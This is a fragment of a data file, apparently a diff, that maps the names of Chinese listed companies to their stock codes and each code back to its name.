"锐新科技", +"国博电子": "688375", +"688375": "国博电子", +"顺钠股份": "000533", +"000533": "顺钠股份", +"久其软件": "002279", +"002279": "久其软件", +"诚邦股份": "603316", +"603316": "诚邦股份", +"神农集团": "605296", +"605296": "神农集团", +"华建集团": "600629", +"600629": "华建集团", +"奥特佳": "002239", +"002239": "奥特佳", +"金道科技": "301279", +"301279": "金道科技", +"嘉必优": "688089", +"688089": "嘉必优", +"天健集团": "000090", +"000090": "天健集团", +"向日葵": "300111", +"300111": "向日葵", +"广联达": "002410", +"002410": "广联达", +"恒锋信息": "300605", +"300605": "恒锋信息", +"泰林生物": "300813", +"300813": "泰林生物", +"国星光电": "002449", +"002449": "国星光电", +"海大集团": "002311", +"002311": "海大集团", +"宿迁联盛": "603065", +"603065": "宿迁联盛", +"信维通信": "300136", +"300136": "信维通信", +"麦趣尔": "002719", +"002719": "麦趣尔", +"强瑞技术": "301128", +"301128": "强瑞技术", +"天铭科技": "836270", +"836270": "天铭科技", +"金龙汽车": "600686", +"600686": "金龙汽车", +"通达股份": "002560", +"002560": "通达股份", +"冰轮环境": "000811", +"000811": "冰轮环境", +"金达莱": "688057", +"688057": "金达莱", +"石头科技": "688169", +"688169": "石头科技", +"东岳硅材": "300821", +"300821": "东岳硅材", +"德力股份": "002571", +"002571": "德力股份", +"东杰智能": "300486", +"300486": "东杰智能", +"精工科技": "002006", +"002006": "精工科技", +"松发股份": "603268", +"603268": "松发股份", +"美利信": "301307", +"301307": "美利信", +"圣元环保": "300867", +"300867": "圣元环保", +"西藏矿业": "000762", +"000762": "西藏矿业", +"S兰铝": "600296", +"600296": "S兰铝", +"长光华芯": "688048", +"688048": "长光华芯", +"盛弘股份": "300693", +"300693": "盛弘股份", +"天山铝业": "002532", +"002532": "天山铝业", +"以岭药业": "002603", +"002603": "以岭药业", +"晨丰科技": "603685", +"603685": "晨丰科技", +"赛摩智能": "300466", +"300466": "赛摩智能", +"中纺标": "873122", +"873122": "中纺标", +"伊之密": "300415", +"300415": "伊之密", +"天能重工": "300569", +"300569": "天能重工", +"元成股份": "603388", +"603388": "元成股份", +"申通快递": "002468", +"002468": "申通快递", +"百邦科技": "300736", +"300736": "百邦科技", +"中光防雷": "300414", +"300414": "中光防雷", +"*ST商城": "600306", +"600306": "*ST商城", +"鲁北化工": "600727", +"600727": "鲁北化工", +"兴业银行": "601166", +"601166": "兴业银行", +"贝瑞基因": "000710", +"000710": "贝瑞基因", +"智新电子": "837212", +"837212": "智新电子", +"邯郸钢铁": "600001", +"600001": "邯郸钢铁", +"东华软件": "002065", +"002065": "东华软件", +"数码视讯": "300079", +"300079": "数码视讯", +"恒瑞医药": "600276", +"600276": "恒瑞医药", +"中兴商业": "000715", +"000715": "中兴商业", +"美凯龙": "601828", +"601828": "美凯龙", +"红旗连锁": "002697", +"002697": "红旗连锁", +"新亚电子": "605277", +"605277": "新亚电子", +"格力地产": "600185", +"600185": "格力地产", +"上电股份": "600627", +"600627": "上电股份", +"润泽科技": "300442", +"300442": "润泽科技", +"依米康": "300249", +"300249": "依米康", +"九州一轨": "688485", +"688485": "九州一轨", +"金石亚药": "300434", +"300434": "金石亚药", +"三祥科技": "831195", +"831195": "三祥科技", +"艾力斯": "688578", +"688578": "艾力斯", +"天房发展": "600322", +"600322": "天房发展", +"开创国际": "600097", +"600097": "开创国际", +"常山药业": "300255", +"300255": "常山药业", +"恒银科技": "603106", +"603106": "恒银科技", +"统一股份": "600506", +"600506": "统一股份", +"狄耐克": "300884", +"300884": "狄耐克", +"超越科技": "301049", +"301049": "超越科技", +"人民网": "603000", +"603000": "人民网", +"南京医药": "600713", +"600713": "南京医药", +"朝阳科技": "002981", +"002981": "朝阳科技", +"扬电科技": "301012", +"301012": "扬电科技", +"泰禾智能": "603656", +"603656": "泰禾智能", +"嘉澳环保": "603822", +"603822": "嘉澳环保", +"开滦股份": "600997", +"600997": "开滦股份", +"威唐工业": "300707", +"300707": "威唐工业", +"西藏药业": "600211", +"600211": "西藏药业", +"国源科技": "835184", +"835184": "国源科技", +"高乐股份": "002348", +"002348": "高乐股份", +"海光信息": "688041", +"688041": "海光信息", +"天山电子": "301379", +"301379": "天山电子", +"中弘退": "000979", +"000979": "中弘退", +"首商股份": "600723", +"600723": "首商股份", +"蓝箭电子": "301348", +"301348": "蓝箭电子", +"华林证券": "002945", +"002945": "华林证券", +"和达科技": "688296", +"688296": "和达科技", +"越剑智能": "603095", +"603095": "越剑智能", +"万泽股份": "000534", +"000534": "万泽股份", +"成飞集成": "002190", +"002190": "成飞集成", +"第一医药": "600833", +"600833": "第一医药", +"旗滨集团": "601636", +"601636": "旗滨集团", +"金健米业": "600127", +"600127": "金健米业", +"迈威生物-U": "688062", +"688062": "迈威生物-U", +"亚联发展": "002316", +"002316": "亚联发展", +"万马股份": "002276", +"002276": "万马股份", +"长鸿高科": "605008", +"605008": "长鸿高科", +"咸亨国际": "605056", +"605056": "咸亨国际", +"思泉新材": "301489", +"301489": "思泉新材", +"航宇科技": "688239", +"688239": "航宇科技", +"爱玛科技": "603529", +"603529": "爱玛科技", +"动力新科": "600841", +"600841": "动力新科", +"海南橡胶": "601118", +"601118": "海南橡胶", +"S*ST金荔": "600762", +"600762": "S*ST金荔", +"中储股份": "600787", +"600787": "中储股份", +"盛德鑫泰": "300881", +"300881": "盛德鑫泰", +"德瑞锂电": "833523", +"833523": "德瑞锂电", +"友阿股份": "002277", +"002277": "友阿股份", +"裕太微-U": "688515", +"688515": "裕太微-U", +"中葡股份": "600084", +"600084": "中葡股份", +"新疆众和": "600888", +"600888": "新疆众和", +"科沃斯": "603486", +"603486": "科沃斯", +"杰恩设计": "300668", +"300668": "杰恩设计", +"燕京啤酒": "000729", +"000729": "燕京啤酒", +"华密新材": "836247", +"836247": "华密新材", +"中伟股份": "300919", +"300919": "中伟股份", +"华夏幸福": "600340", +"600340": "华夏幸福", +"信邦智能": "301112", +"301112": "信邦智能", +"东方园林": "002310", +"002310": "东方园林", +"中闽能源": "600163", +"600163": "中闽能源", +"华东数控": "002248", +"002248": "华东数控", +"*ST龙涤": "000832", +"000832": "*ST龙涤", +"普路通": "002769", +"002769": "普路通", +"元祖股份": "603886", +"603886": "元祖股份", +"中信建投": "601066", +"601066": "中信建投", +"家家悦": "603708", +"603708": "家家悦", +"一品红": "300723", +"300723": "一品红", +"立中集团": "300428", +"300428": "立中集团", +"润建股份": "002929", +"002929": "润建股份", +"创益通": "300991", +"300991": "创益通", +"创源股份": "300703", +"300703": "创源股份", +"琼民源A": "000508", +"000508": "琼民源A", +"观典防务": "688287", +"688287": "观典防务", +"正川股份": "603976", +"603976": "正川股份", +"软通动力": "301236", +"301236": "软通动力", +"新日股份": "603787", +"603787": "新日股份", +"道通科技": "688208", +"688208": "道通科技", +"中源协和": "600645", +"600645": "中源协和", +"新中港": "605162", +"605162": "新中港", +"保变电气": "600550", +"600550": "保变电气", +"爱施德": "002416", +"002416": "爱施德", +"东阿阿胶": "000423", +"000423": "东阿阿胶", +"高鸿股份": "000851", +"000851": "高鸿股份", +"云意电气": "300304", +"300304": "云意电气", +"华立股份": "603038", +"603038": "华立股份", +"美康生物": "300439", +"300439": "美康生物", +"特发服务": "300917", +"300917": "特发服务", +"睿创微纳": "688002", +"688002": "睿创微纳", +"城投控股": "600649", +"600649": "城投控股", +"恒锋工具": "300488", +"300488": "恒锋工具", +"烽火通信": "600498", +"600498": "烽火通信", +"开山股份": "300257", +"300257": "开山股份", +"喜临门": "603008", +"603008": "喜临门", +"超讯通信": "603322", +"603322": "超讯通信", +"润农节水": "830964", +"830964": "润农节水", +"创业黑马": "300688", +"300688": "创业黑马", +"安凯微": "688620", +"688620": "安凯微", +"磁谷科技": "688448", +"688448": "磁谷科技", +"元利科技": "603217", +"603217": "元利科技", +"天地科技": "600582", +"600582": "天地科技", +"华丽家族": "600503", +"600503": "华丽家族", +"美吉姆": "002621", +"002621": "美吉姆", +"当虹科技": "688039", +"688039": "当虹科技", +"广宇集团": "002133", +"002133": "广宇集团", +"陕天然气": "002267", +"002267": "陕天然气", +"奥翔药业": "603229", +"603229": "奥翔药业", +"龙蟠科技": "603906", +"603906": "龙蟠科技", +"苏交科": "300284", +"300284": "苏交科", +"苏州规划": "301505", +"301505": "苏州规划", +"国盛智科": "688558", +"688558": "国盛智科", +"云中马": "603130", +"603130": "云中马", +"恒拓开源": "834415", +"834415": "恒拓开源", +"力源科技": "688565", +"688565": "力源科技", +"上海谊众": "688091", +"688091": "上海谊众", +"南矿集团": "001360", +"001360": "南矿集团", +"ST华铁": "000976", +"000976": "ST华铁", +"*ST炎黄": "000805", +"000805": "*ST炎黄", +"冠龙节能": "301151", +"301151": "冠龙节能", +"辽宁成大": "600739", +"600739": "辽宁成大", +"佛塑科技": "000973", +"000973": "佛塑科技", +"山大地纬": "688579", +"688579": "山大地纬", +"南方传媒": "601900", +"601900": "南方传媒", +"安德利": "605198", +"605198": "安德利", +"腾信退": "300392", +"300392": "腾信退", +"新湖创业": "600840", +"600840": "新湖创业", +"节能铁汉": "300197", +"300197": "节能铁汉", +"乐歌股份": "300729", +"300729": "乐歌股份", +"宝色股份": "300402", +"300402": "宝色股份", +"信安世纪": "688201", +"688201": "信安世纪", +"中钨高新": "000657", +"000657": "中钨高新", +"首华燃气": "300483", +"300483": "首华燃气", +"徐工机械": "000425", +"000425": "徐工机械", +"安控科技": "300370", +"300370": "安控科技", +"必创科技": "300667", +"300667": "必创科技", +"伟思医疗": "688580", +"688580": "伟思医疗", +"拓维信息": "002261", +"002261": "拓维信息", +"广脉科技": "838924", +"838924": "广脉科技", +"中钢天源": "002057", +"002057": "中钢天源", +"宇瞳光学": "300790", +"300790": "宇瞳光学", +"百洋医药": "301015", +"301015": "百洋医药", +"东阳光": "600673", +"600673": "东阳光", +"北玻股份": "002613", +"002613": "北玻股份", +"雪榕生物": "300511", +"300511": "雪榕生物", +"天下秀": "600556", +"600556": "天下秀", +"仁度生物": "688193", +"688193": "仁度生物", +"优德精密": "300549", +"300549": "优德精密", +"雅克科技": "002409", +"002409": "雅克科技", +"中胤时尚": "300901", +"300901": "中胤时尚", +"中航产融": "600705", +"600705": "中航产融", +"香山股份": "002870", +"002870": "香山股份", +"飞乐音响": "600651", +"600651": "飞乐音响", +"江航装备": "688586", +"688586": "江航装备", +"林海股份": "600099", +"600099": "林海股份", +"北京人力": "600861", +"600861": "北京人力", +"贝斯美": "300796", +"300796": "贝斯美", +"招商港口": "001872", +"001872": "招商港口", +"科思科技": "688788", +"688788": "科思科技", +"震有科技": "688418", +"688418": "震有科技", +"贝仕达克": "300822", +"300822": "贝仕达克", +"迎丰股份": "605055", +"605055": "迎丰股份", +"艾布鲁": "301259", +"301259": "艾布鲁", +"宏昌电子": "603002", +"603002": "宏昌电子", +"中国铝业": "601600", +"601600": "中国铝业", +"锦和商管": "603682", +"603682": "锦和商管", +"星球石墨": "688633", +"688633": "星球石墨", +"艾可蓝": "300816", +"300816": "艾可蓝", +"亚士创能": "603378", +"603378": "亚士创能", +"苏利股份": "603585", +"603585": "苏利股份", +"三友医疗": "688085", +"688085": "三友医疗", +"晶瑞电材": "300655", +"300655": "晶瑞电材", +"ST同洲": "002052", +"002052": "ST同洲", +"神开股份": "002278", +"002278": "神开股份", +"阿尔特": "300825", +"300825": "阿尔特", +"白云机场": "600004", +"600004": "白云机场", +"通易航天": "871642", +"871642": "通易航天", +"方邦股份": "688020", +"688020": "方邦股份", +"宁波银行": "002142", +"002142": "宁波银行", +"天壕能源": "300332", +"300332": "天壕能源", +"颀中科技": "688352", +"688352": "颀中科技", +"吉峰科技": "300022", +"300022": "吉峰科技", +"丹化科技": "600844", +"600844": "丹化科技", +"骏创科技": "833533", +"833533": "骏创科技", +"上药转换": "600849", +"600849": "上药转换", +"生物股份": "600201", +"600201": "生物股份", +"浩通科技": "301026", +"301026": "浩通科技", +"盛路通信": "002446", +"002446": "盛路通信", +"中国科传": "601858", +"601858": "中国科传", +"泰胜风能": "300129", +"300129": "泰胜风能", +"华锋股份": "002806", +"002806": "华锋股份", +"隆基机械": "002363", +"002363": "隆基机械", +"协和电子": "605258", +"605258": "协和电子", +"英集芯": "688209", +"688209": "英集芯", +"四川长虹": "600839", +"600839": "四川长虹", +"赛为智能": "300044", +"300044": "赛为智能", +"晋控煤业": "601001", +"601001": "晋控煤业", +"尚纬股份": "603333", +"603333": "尚纬股份", +"上汽集团": "600104", +"600104": "上汽集团", +"公牛集团": "603195", +"603195": "公牛集团", +"健友股份": "603707", +"603707": "健友股份", +"喜悦智行": "301198", +"301198": "喜悦智行", +"ST沪科": "600608", +"600608": "ST沪科", +"沃尔核材": "002130", +"002130": "沃尔核材", +"西藏旅游": "600749", +"600749": "西藏旅游", +"研奥股份": "300923", +"300923": "研奥股份", +"华西能源": "002630", +"002630": "华西能源", +"景嘉微": "300474", +"300474": "景嘉微", +"蓝色光标": "300058", +"300058": "蓝色光标", +"华讯退": "000687", +"000687": "华讯退", +"雷科防务": "002413", +"002413": "雷科防务", +"东微半导": "688261", +"688261": "东微半导", +"德威退": "300325", +"300325": "德威退", +"承德钒钛": "600357", +"600357": "承德钒钛", +"扬子新材": "002652", +"002652": "扬子新材", +"*ST信联": "600899", +"600899": "*ST信联", +"优刻得-W": "688158", +"688158": "优刻得-W", +"赛轮轮胎": "601058", +"601058": "赛轮轮胎", +"太阳能": "000591", +"000591": "太阳能", +"智动力": "300686", +"300686": "智动力", +"同兴达": "002845", +"002845": "同兴达", +"辉隆股份": "002556", +"002556": "辉隆股份", +"科汇股份": "688681", +"688681": "科汇股份", +"宏润建设": "002062", +"002062": "宏润建设", +"西藏城投": "600773", +"600773": "西藏城投", +"华脉科技": "603042", +"603042": "华脉科技", +"酒鬼酒": "000799", +"000799": "酒鬼酒", +"国电南瑞": "600406", +"600406": "国电南瑞", +"金杯电工": "002533", +"002533": "金杯电工", +"福莱蒽特": "605566", +"605566": "福莱蒽特", +"科新机电": "300092", +"300092": "科新机电", +"南山智尚": "300918", +"300918": "南山智尚", +"凌钢股份": "600231", +"600231": "凌钢股份", +"嘉戎技术": "301148", +"301148": "嘉戎技术", +"康拓医疗": "688314", +"688314": "康拓医疗", +"三六五网": "300295", +"300295": "三六五网", +"永冠新材": "603681", +"603681": "永冠新材", +"退市紫晶": "688086", +"688086": "退市紫晶", +"京泉华": "002885", +"002885": "京泉华", +"盛洋科技": "603703", +"603703": "盛洋科技", +"山高环能": "000803", +"000803": "山高环能", +"普联软件": "300996", +"300996": "普联软件", +"甘咨询": "000779", +"000779": "甘咨询", +"三江购物": "601116", +"601116": "三江购物", +"奥": "002227", +"002227": "奥", +"豪森股份": "688529", +"688529": "豪森股份", +"民丰特纸": "600235", +"600235": "民丰特纸", +"际华集团": "601718", +"601718": "际华集团", +"曙光数创": "872808", +"872808": "曙光数创", +"ST曙光": "600303", +"600303": "ST曙光", +"长江传媒": "600757", +"600757": "长江传媒", +"美盈森": "002303", +"002303": "美盈森", +"天茂退": "002509", +"002509": "天茂退", +"华铭智能": "300462", +"300462": "华铭智能", +"诚达药业": "301201", +"301201": "诚达药业", +"片仔癀": "600436", +"600436": "片仔癀", +"统联精密": "688210", +"688210": "统联精密", +"光线传媒": "300251", +"300251": "光线传媒", +"黔源电力": "002039", +"002039": "黔源电力", +"久吾高科": "300631", +"300631": "久吾高科", +"新天药业": "002873", +"002873": "新天药业", +"龙竹科技": "831445", +"831445": "龙竹科技", +"四川美丰": "000731", +"000731": "四川美丰", +"太龙药业": "600222", +"600222": "太龙药业", +"瑞泰科技": "002066", +"002066": "瑞泰科技", +"江苏舜天": "600287", +"600287": "江苏舜天", +"天音控股": "000829", +"000829": "天音控股", +"英利汽车": "601279", +"601279": "英利汽车", +"固高科技": "301510", +"301510": "固高科技", +"弘亚数控": "002833", +"002833": "弘亚数控", +"宇环数控": "002903", +"002903": "宇环数控", +"森萱医药": "830946", +"830946": "森萱医药", +"晨光电缆": "834639", +"834639": "晨光电缆", +"凯立新材": "688269", +"688269": "凯立新材", +"今天国际": "300532", +"300532": "今天国际", +"百利科技": "603959", +"603959": "百利科技", +"德石股份": "301158", +"301158": "德石股份", +"西高院": "688334", +"688334": "西高院", +"中设咨询": "833873", +"833873": "中设咨询", +"澳洋健康": "002172", +"002172": "澳洋健康", +"理工光科": "300557", +"300557": "理工光科", +"华天科技": "002185", +"002185": "华天科技", +"龙津药业": "002750", +"002750": "龙津药业", +"湖南投资": "000548", +"000548": "湖南投资", +"南山铝业": "600219", +"600219": "南山铝业", +"恒誉环保": "688309", +"688309": "恒誉环保", +"通威股份": "600438", +"600438": "通威股份", +"圣龙股份": "603178", +"603178": "圣龙股份", +"北方导航": "600435", +"600435": "北方导航", +"直真科技": "003007", +"003007": "直真科技", +"力诺特玻": "301188", +"301188": "力诺特玻", +"新诺威": "300765", +"300765": "新诺威", +"神州数码": "000034", +"000034": "神州数码", +"虹软科技": "688088", +"688088": "虹软科技", +"广生堂": "300436", +"300436": "广生堂", +"浙海德曼": "688577", +"688577": "浙海德曼", +"航亚科技": "688510", +"688510": "航亚科技", +"全通教育": "300359", +"300359": "全通教育", +"朗迪集团": "603726", +"603726": "朗迪集团", +"苏博特": "603916", +"603916": "苏博特", +"飞凯材料": "300398", +"300398": "飞凯材料", +"海尔生物": "688139", +"688139": "海尔生物", +"华峰铝业": "601702", +"601702": "华峰铝业", +"洪都航空": "600316", +"600316": "洪都航空", +"四川九洲": "000801", +"000801": "四川九洲", +"利欧股份": "002131", +"002131": "利欧股份", +"五洲医疗": "301234", +"301234": "五洲医疗", +"光大同创": "301387", +"301387": "光大同创", +"华厦眼科": "301267", +"301267": "华厦眼科", +"兖矿能源": "600188", +"600188": "兖矿能源", +"必康退": "002411", +"002411": "必康退", +"德邦科技": "688035", +"688035": "德邦科技", +"启明信息": "002232", +"002232": "启明信息", +"博信股份": "600083", +"600083": "博信股份", +"邮储银行": "601658", +"601658": "邮储银行", +"鸿富瀚": "301086", +"301086": "鸿富瀚", +"云南白药": "000538", +"000538": "云南白药", +"云南旅游": "002059", +"002059": "云南旅游", +"广立微": "301095", +"301095": "广立微", +"纳思达": "002180", +"002180": "纳思达", +"华统股份": "002840", +"002840": "华统股份", +"美登科技": "838227", +"838227": "美登科技", +"广济药业": "000952", +"000952": "广济药业", +"皖通高速": "600012", +"600012": "皖通高速", +"华融化学": "301256", +"301256": "华融化学", +"岭南股份": "002717", +"002717": "岭南股份", +"机器人": "300024", +"300024": "机器人", +"矩阵股份": "301365", +"301365": "矩阵股份", +"福安药业": "300194", +"300194": "福安药业", +"中科软": "603927", +"603927": "中科软", +"首旅酒店": "600258", +"600258": "首旅酒店", +"拓斯达": "300607", +"300607": "拓斯达", +"彩虹股份": "600707", +"600707": "彩虹股份", +"生益电子": "688183", +"688183": "生益电子", +"上海银行": "601229", +"601229": "上海银行", +"老白干酒": "600559", +"600559": "老白干酒", +"塞力医疗": "603716", +"603716": "塞力医疗", +"中国动力": "600482", +"600482": "中国动力", +"华辰装备": "300809", +"300809": "华辰装备", +"云南城投": "600239", +"600239": "云南城投", +"浙矿股份": "300837", +"300837": "浙矿股份", +"莱宝高科": "002106", +"002106": "莱宝高科", +"荣丰控股": "000668", +"000668": "荣丰控股", +"广弘控股": "000529", +"000529": "广弘控股", +"兆丰股份": "300695", +"300695": "兆丰股份", +"海印股份": "000861", +"000861": "海印股份", +"建邦科技": "837242", +"837242": "建邦科技", +"纳尔股份": "002825", +"002825": "纳尔股份", +"翔腾新材": "001373", +"001373": "翔腾新材", +"福晶科技": "002222", +"002222": "福晶科技", +"天保基建": "000965", +"000965": "天保基建", +"凯文教育": "002659", +"002659": "凯文教育", +"振华股份": "603067", +"603067": "振华股份", +"新点软件": "688232", +"688232": "新点软件", +"大地电气": "870436", +"870436": "大地电气", +"*ST日海": "002313", +"002313": "*ST日海", +"森林包装": "605500", +"605500": "森林包装", +"华润双鹤": "600062", +"600062": "华润双鹤", +"南华仪器": "300417", +"300417": "南华仪器", +"国脉科技": "002093", +"002093": "国脉科技", +"大连圣亚": "600593", +"600593": "大连圣亚", +"航天信息": "600271", +"600271": "航天信息", +"万润股份": "002643", +"002643": "万润股份", +"南山控股": "002314", +"002314": "南山控股", +"达安基因": "002030", +"002030": "达安基因", +"佳云科技": "300242", +"300242": "佳云科技", +"梦天家居": "603216", +"603216": "梦天家居", +"亚世光电": "002952", +"002952": "亚世光电", +"卓郎智能": "600545", +"600545": "卓郎智能", +"奥尼电子": "301189", +"301189": "奥尼电子", +"华夏航空": "002928", +"002928": "华夏航空", +"中顺洁柔": "002511", +"002511": "中顺洁柔", +"PT水仙": "600625", +"600625": "PT水仙", +"扬州金泉": "603307", +"603307": "扬州金泉", +"一汽富维": "600742", +"600742": "一汽富维", +"长虹美菱": "000521", +"000521": "长虹美菱", +"华星创业": "300025", +"300025": "华星创业", +"奥拓电子": "002587", +"002587": "奥拓电子", +"海利生物": "603718", +"603718": "海利生物", +"华瓷股份": "001216", +"001216": "华瓷股份", +"新集能源": "601918", +"601918": "新集能源", +"新城控股": "601155", +"601155": "新城控股", +"正和生态": "605069", +"605069": "正和生态", +"帝奥微": "688381", +"688381": "帝奥微", +"德业股份": "605117", +"605117": "德业股份", +"建业股份": "603948", +"603948": "建业股份", +"容知日新": "688768", +"688768": "容知日新", +"罗博特科": "300757", +"300757": "罗博特科", +"神州高铁": "000008", +"000008": "神州高铁", +"巨化股份": "600160", +"600160": "巨化股份", +"帝尔激光": "300776", +"300776": "帝尔激光", +"维科精密": "301499", +"301499": "维科精密", +"美亚柏科": "300188", +"300188": "美亚柏科", +"德明利": "001309", +"001309": "德明利", +"退市鹏起": "600614", +"600614": "退市鹏起", +"中铁装配": "300374", +"300374": "中铁装配", +"ST银山": "000675", +"000675": "ST银山", +"退市长油": "600087", +"600087": "退市长油", +"神城A退": "000018", +"000018": "神城A退", +"元琛科技": "688659", +"688659": "元琛科技", +"天玑科技": "300245", +"300245": "天玑科技", +"东亚药业": "605177", +"605177": "东亚药业", +"*ST西钢": "600117", +"600117": "*ST西钢", +"共同药业": "300966", +"300966": "共同药业", +"森泰股份": "301429", +"301429": "森泰股份", +"冠捷科技": "000727", +"000727": "冠捷科技", +"姚记科技": "002605", +"002605": "姚记科技", +"众泰汽车": "000980", +"000980": "众泰汽车", +"致远互联": "688369", +"688369": "致远互联", +"聚石化学": "688669", +"688669": "聚石化学", +"长川科技": "300604", +"300604": "长川科技", +"天晟新材": "300169", +"300169": "天晟新材", +"章源钨业": "002378", +"002378": "章源钨业", +"江苏国信": "002608", +"002608": "江苏国信", +"菲沃泰": "688371", +"688371": "菲沃泰", +"百隆东方": "601339", +"601339": "百隆东方", +"德展健康": "000813", +"000813": "德展健康", +"精研科技": "300709", +"300709": "精研科技", +"盾安环境": "002011", +"002011": "盾安环境", +"达嘉维康": "301126", +"301126": "达嘉维康", +"太行水泥": "600553", +"600553": "太行水泥", +"中能电气": "300062", +"300062": "中能电气", +"瑞玛精密": "002976", +"002976": "瑞玛精密", +"经纬股份": "301390", +"301390": "经纬股份", +"合康新能": "300048", +"300048": "合康新能", +"普利制药": "300630", +"300630": "普利制药", +"达": "002209", +"002209": "达", +"有方科技": "688159", +"688159": "有方科技", +"港通医疗": "301515", +"301515": "港通医疗", +"合锻智能": "603011", +"603011": "合锻智能", +"柘中股份": "002346", +"002346": "柘中股份", +"富佳股份": "603219", +"603219": "富佳股份", +"康泰生物": "300601", +"300601": "康泰生物", +"交大思诺": "300851", +"300851": "交大思诺", +"概伦电子": "688206", +"688206": "概伦电子", +"*ST宏图": "600122", +"600122": "*ST宏图", +"通达动力": "002576", +"002576": "通达动力", +"松井股份": "688157", +"688157": "松井股份", +"节能国祯": "300388", +"300388": "节能国祯", +"匠心家居": "301061", +"301061": "匠心家居", +"逸飞激光": "688646", +"688646": "逸飞激光", +"华数传媒": "000156", +"000156": "华数传媒", +"国统股份": "002205", +"002205": "国统股份", +"任子行": "300311", +"300311": "任子行", +"杭州银行": "600926", +"600926": "杭州银行", +"*ST嘉凯": "000918", +"000918": "*ST嘉凯", +"辽河油田": "000817", +"000817": "辽河油田", +"新能泰山": "000720", +"000720": "新能泰山", +"远": "002161", +"002161": "远", +"汇得科技": "603192", +"603192": "汇得科技", +"瑞华泰": "688323", +"688323": "瑞华泰", +"金山办公": "688111", +"688111": "金山办公", +"卓翼科技": "002369", +"002369": "卓翼科技", +"退市昌鱼": "600275", +"600275": "退市昌鱼", +"晶方科技": "603005", +"603005": "晶方科技", +"宏创控股": "002379", +"002379": "宏创控股", +"拉芳家化": "603630", +"603630": "拉芳家化", +"海普瑞": "002399", +"002399": "海普瑞", +"三博脑科": "301293", +"301293": "三博脑科", +"佰维存储": "688525", +"688525": "佰维存储", +"健之佳": "605266", +"605266": "健之佳", +"金自天正": "600560", +"600560": "金自天正", +"联诚精密": "002921", +"002921": "联诚精密", +"豪能股份": "603809", +"603809": "豪能股份", +"味知香": "605089", +"605089": "味知香", +"燕塘乳业": "002732", +"002732": "燕塘乳业", +"卧龙电驱": "600580", +"600580": "卧龙电驱", +"星宇股份": "601799", +"601799": "星宇股份", +"天通股份": "600330", +"600330": "天通股份", +"爱科科技": "688092", +"688092": "爱科科技", +"金博股份": "688598", +"688598": "金博股份", +"汇洲智能": "002122", +"002122": "汇洲智能", +"晶科能源": "688223", +"688223": "晶科能源", +"汇纳科技": "300609", +"300609": "汇纳科技", +"丽岛新材": "603937", +"603937": "丽岛新材", +"天域生态": "603717", +"603717": "天域生态", +"申菱环境": "301018", +"301018": "申菱环境", +"龙星化工": "002442", +"002442": "龙星化工", +"斯达半导": "603290", +"603290": "斯达半导", +"退市明科": "600091", +"600091": "退市明科", +"三雄极光": "300625", +"300625": "三雄极光", +"杰美特": "300868", +"300868": "杰美特", +"华安鑫创": "300928", +"300928": "华安鑫创", +"中钢国际": "000928", +"000928": "中钢国际", +"航天南湖": "688552", +"688552": "航天南湖", +"成大生物": "688739", +"688739": "成大生物", +"永创智能": "603901", +"603901": "永创智能", +"中国铁物": "000927", +"000927": "中国铁物", +"中国卫星": "600118", +"600118": "中国卫星", +"康龙化成": "300759", +"300759": "康龙化成", +"猛狮退": "002684", +"002684": "猛狮退", +"天奈科技": "688116", +"688116": "天奈科技", +"汇嘉时代": "603101", +"603101": "汇嘉时代", +"精伦电子": "600355", +"600355": "精伦电子", +"博汇股份": "300839", +"300839": "博汇股份", +"继峰股份": "603997", +"603997": "继峰股份", +"新易盛": "300502", +"300502": "新易盛", +"华灿光电": "300323", +"300323": "华灿光电", +"翠微股份": "603123", +"603123": "翠微股份", +"北京文化": "000802", +"000802": "北京文化", +"双飞股份": "300817", +"300817": "双飞股份", +"同益中": "688722", +"688722": "同益中", +"广电电气": "601616", +"601616": "广电电气", +"海泰新能": "835985", +"835985": "海泰新能", +"博腾股份": "300363", +"300363": "博腾股份", +"博菲电气": "001255", +"001255": "博菲电气", +"华骐环保": "300929", +"300929": "华骐环保", +"ST恒久": "002808", +"002808": "ST恒久", +"智能自控": "002877", +"002877": "智能自控", +"迪安诊断": "300244", +"300244": "迪安诊断", +"震安科技": "300767", +"300767": "震安科技", +"浙江医药": "600216", +"600216": "浙江医药", +"武汉蓝电": "830779", +"830779": "武汉蓝电", +"远大控股": "000626", +"000626": "远大控股", +"英可瑞": "300713", +"300713": "英可瑞", +"桂林旅游": "000978", +"000978": "桂林旅游", +"万业企业": "600641", +"600641": "万业企业", +"宁波联合": "600051", +"600051": "宁波联合", +"XD颖泰生": "833819", +"833819": "XD颖泰生", +"广深铁路": "601333", +"601333": "广深铁路", +"蒙泰高新": "300876", +"300876": "蒙泰高新", +"生": "002095", +"002095": "生", +"四川路桥": "600039", +"600039": "四川路桥", +"S*ST精密": "600092", +"600092": "S*ST精密", +"荣联科技": "002642", +"002642": "荣联科技", +"威派格": "603956", +"603956": "威派格", +"蓝海华腾": "300484", +"300484": "蓝海华腾", +"建艺集团": "002789", +"002789": "建艺集团", +"江苏阳光": "600220", +"600220": "江苏阳光", +"用友网络": "600588", +"600588": "用友网络", +"科达制造": "600499", +"600499": "科达制造", +"富士达": "835640", +"835640": "富士达", +"诺泰生物": "688076", +"688076": "诺泰生物", +"科安达": "002972", +"002972": "科安达", +"亿田智能": "300911", +"300911": "亿田智能", +"灿能电力": "870299", +"870299": "灿能电力", +"伟时电子": "605218", +"605218": "伟时电子", +"莱钢股份": "600102", +"600102": "莱钢股份", +"森霸传感": "300701", +"300701": "森霸传感", +"福元医药": "601089", +"601089": "福元医药", +"厦工股份": "600815", +"600815": "厦工股份", +"韵达股份": "002120", +"002120": "韵达股份", +"金杯汽车": "600609", +"600609": "金杯汽车", +"万孚生物": "300482", +"300482": "万孚生物", +"建研设计": "301167", +"301167": "建研设计", +"中国东航": "600115", +"600115": "中国东航", +"日科化学": "300214", +"300214": "日科化学", +"*ST泛海": "000046", +"000046": "*ST泛海", +"金溢科技": "002869", +"002869": "金溢科技", +"中船应急": "300527", +"300527": "中船应急", +"太平鸟": "603877", +"603877": "太平鸟", +"北纬科技": "002148", +"002148": "北纬科技", +"中科三环": "000970", +"000970": "中科三环", +"南极光": "300940", +"300940": "南极光", +"川发龙蟒": "002312", +"002312": "川发龙蟒", +"确成股份": "605183", +"605183": "确成股份", +"国光电气": "688776", +"688776": "国光电气", +"青农商行": "002958", +"002958": "青农商行", +"禾迈股份": "688032", +"688032": "禾迈股份", +"上海沿浦": "605128", +"605128": "上海沿浦", +"新风光": "688663", +"688663": "新风光", +"豪江智能": "301320", +"301320": "豪江智能", +"新动力": "300152", +"300152": "新动力", +"星光农机": "603789", +"603789": "星光农机", +"深水规院": "301038", +"301038": "深水规院", +"长城退": "002071", +"002071": "长城退", +"ST通脉": 